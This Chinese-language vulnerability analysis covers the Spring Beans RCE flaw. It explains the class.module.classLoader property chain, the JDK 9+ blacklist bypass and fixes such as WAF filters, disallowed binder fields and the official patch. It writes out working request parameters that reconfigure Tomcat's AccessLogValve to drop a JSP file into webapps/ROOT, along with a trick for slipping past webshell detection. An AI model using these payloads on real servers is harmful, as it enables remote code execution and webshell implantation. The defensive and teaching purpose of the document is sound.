Spring Beans RCE分析
字数 1360 2025-08-29 08:32:09

Spring Beans RCE漏洞分析与利用教学文档

漏洞概述

Spring MVC框架的参数绑定功能存在远程代码执行(RCE)漏洞,攻击者可通过构造恶意请求获取AccessLogValve对象并注入恶意字段值,触发pipeline机制写入任意文件。

漏洞本质

  • 参数绑定造成的变量覆盖漏洞
  • 漏洞点位于spring-beans包中

影响范围

  • JDK版本:>=9
  • Spring MVC全版本

漏洞分析

属性注入机制

  1. 核心流程

    • Spring MVC参数绑定功能将请求参数绑定到控制器方法参数对象的成员变量
    • 漏洞利用点位于AbstractNestablePropertyAccessor.class#setPropertyValue
  2. 关键代码流程

    // 1. 递归获取propertyName属性所在的beanWrapper
    AbstractNestablePropertyAccessor nestedPa = getPropertyAccessorForPropertyPath(propertyName);
    
    // 2. 获取属性的token
    PropertyTokenHolder tokens = getPropertyNameTokens(getFinalPath(nestedPa, propertyName));
    
    // 3. 设置属性值
    nestedPa.setPropertyValue(tokens, new PropertyValue(propertyName, value));
    
  3. 递归获取属性

    protected AbstractNestablePropertyAccessor getPropertyAccessorForPropertyPath(String propertyPath) {
        int pos = PropertyAccessorUtils.getFirstNestedPropertySeparatorIndex(propertyPath);
    
        if (pos > -1) {
            String nestedProperty = propertyPath.substring(0, pos);
            String nestedPath = propertyPath.substring(pos + 1);
            AbstractNestablePropertyAccessor nestedPa = getNestedPropertyAccessor(nestedProperty);
            return nestedPa.getPropertyAccessorForPropertyPath(nestedPath);
        } else {
            return this;
        }
    }
    

利用链分析

  1. 属性链示例

    class.module.classLoader.resources.context.parent.appBase
    
  2. Java代码等价表示

    ((org.apache.catalina.loader.ParallelWebappClassLoader) 
     new UserInfo().getClass().getModule().getClassLoader())
     .getResources().getContext().getParent()
    
  3. 关键对象

    • StandardContext:Tomcat上下文对象
    • StandardHost:通过.getParent()获取

AccessLogValve利用

  1. 可修改的关键属性

    • pattern:日志格式
    • suffix:文件后缀
    • directory:目录
    • prefix:文件名前缀
    • fileDateFormat:日期格式
  2. 典型攻击向量

    class.module.classLoader.resources.context.parent.appBase=./
    class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{Prefix123}i + 1231231 +%{Suffix123}i
    class.module.classLoader.resources.context.parent.pipeline.first.suffix=random1111.jsp
    class.module.classLoader.resources.context.parent.pipeline.first.directory=.
    class.module.classLoader.resources.context.parent.pipeline.first.prefix=webapps/ROOT/random1111
    class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=time_fomrat_random111
    
  3. Pattern绕过技巧

    • 使用%{xxx}i引用请求头字段实现任意字符写入
    • 可进行字符拼接,绕过webshell检测

JDK版本差异

JDK 8 vs JDK 9+

  1. 关键区别

    • JDK8:class bean下没有module bean
    • JDK9+:引入了模块系统,存在java.lang.Module
  2. 黑名单绕过机制

    Class.class != beanClass || !"classLoader".equals(pd.getName()) && !"protectionDomain".equals(pd.getName())
    
    • JDK8:只能用class.classLoader,无法绕过黑名单
    • JDK9+:通过class.module.classLoader绕过

利用条件

  1. 必要条件
    • JDK版本≥9
    • 使用Spring MVC框架
    • 请求接口对应控制器方法
    • 方法入参为非基础类(不能是String、int等)
    • 请求方法要与控制器方法对应

修复建议

临时修复方案

  1. 方案一:WAF防护

    • 过滤包含以下字符串的请求:
      • "class."
      • "Class."
      • ".class."
      • ".Class."
  2. 方案二:代码修复

    import org.springframework.core.annotation.Order;
    import org.springframework.web.bind.WebDataBinder;
    import org.springframework.web.bind.annotation.ControllerAdvice;
    import org.springframework.web.bind.annotation.InitBinder;
    
    @ControllerAdvice
    @Order(10000)
    public class GlobalControllerAdvice {
        @InitBinder
        public void setAllowedFields(webdataBinder dataBinder){
            String[] abd = new string[]{"class.*", "Class.*", "*.class.*", "*.Class.*"};
            dataBinder.setDisallowedFields(abd);
        }
    }
    

官方补丁

  • 补丁地址:https://github.com/spring-projects/spring-framework/commit/afbff391d8299034cd98af968981504b6ca7b38c
  • 补丁内容:
    • 当beanClass是class.Class时,只允许添加name属性
    • 过滤ClassLoader和ProtectionDomain属性

其他注意事项

  1. 控制器方法要求

    • 入参必须是非基础类
    • 入参为String等基础类型时无法触发漏洞
  2. Spring Boot差异

    • Spring Boot使用AppClassLoader,没有getResources()方法
    • Spring MVC使用ParallelWebappClassLoader

参考链接

Spring Beans RCE漏洞分析与利用教学文档 漏洞概述 Spring MVC框架的参数绑定功能存在远程代码执行(RCE)漏洞,攻击者可通过构造恶意请求获取AccessLogValve对象并注入恶意字段值,触发pipeline机制写入任意文件。 漏洞本质 参数绑定造成的变量覆盖漏洞 漏洞点位于spring-beans包中 影响范围 JDK版本:>=9 Spring MVC全版本 漏洞分析 属性注入机制 核心流程 : Spring MVC参数绑定功能将请求参数绑定到控制器方法参数对象的成员变量 漏洞利用点位于 AbstractNestablePropertyAccessor.class#setPropertyValue 关键代码流程 : 递归获取属性 : 利用链分析 属性链示例 : Java代码等价表示 : 关键对象 : StandardContext :Tomcat上下文对象 StandardHost :通过 .getParent() 获取 AccessLogValve利用 可修改的关键属性 : pattern :日志格式 suffix :文件后缀 directory :目录 prefix :文件名前缀 fileDateFormat :日期格式 典型攻击向量 : Pattern绕过技巧 : 使用 %{xxx}i 引用请求头字段实现任意字符写入 可进行字符拼接,绕过webshell检测 JDK版本差异 JDK 8 vs JDK 9+ 关键区别 : JDK8: class bean下没有 module bean JDK9+:引入了模块系统,存在 java.lang.Module 黑名单绕过机制 : JDK8:只能用 class.classLoader ,无法绕过黑名单 JDK9+:通过 class.module.classLoader 绕过 利用条件 必要条件 : JDK版本≥9 使用Spring MVC框架 请求接口对应控制器方法 方法入参为非基础类(不能是String、int等) 请求方法要与控制器方法对应 修复建议 临时修复方案 方案一:WAF防护 过滤包含以下字符串的请求: "class." "Class." ".class." ".Class." 方案二:代码修复 官方补丁 补丁地址:https://github.com/spring-projects/spring-framework/commit/afbff391d8299034cd98af968981504b6ca7b38c 补丁内容: 当beanClass是class.Class时,只允许添加name属性 过滤ClassLoader和ProtectionDomain属性 其他注意事项 控制器方法要求 : 入参必须是非基础类 入参为String等基础类型时无法触发漏洞 Spring Boot差异 : Spring Boot使用AppClassLoader,没有getResources()方法 Spring MVC使用ParallelWebappClassLoader 参考链接 CVE-2010-1622分析 Tomcat Access Log配置 Tomcat Valve文档 Spring官方公告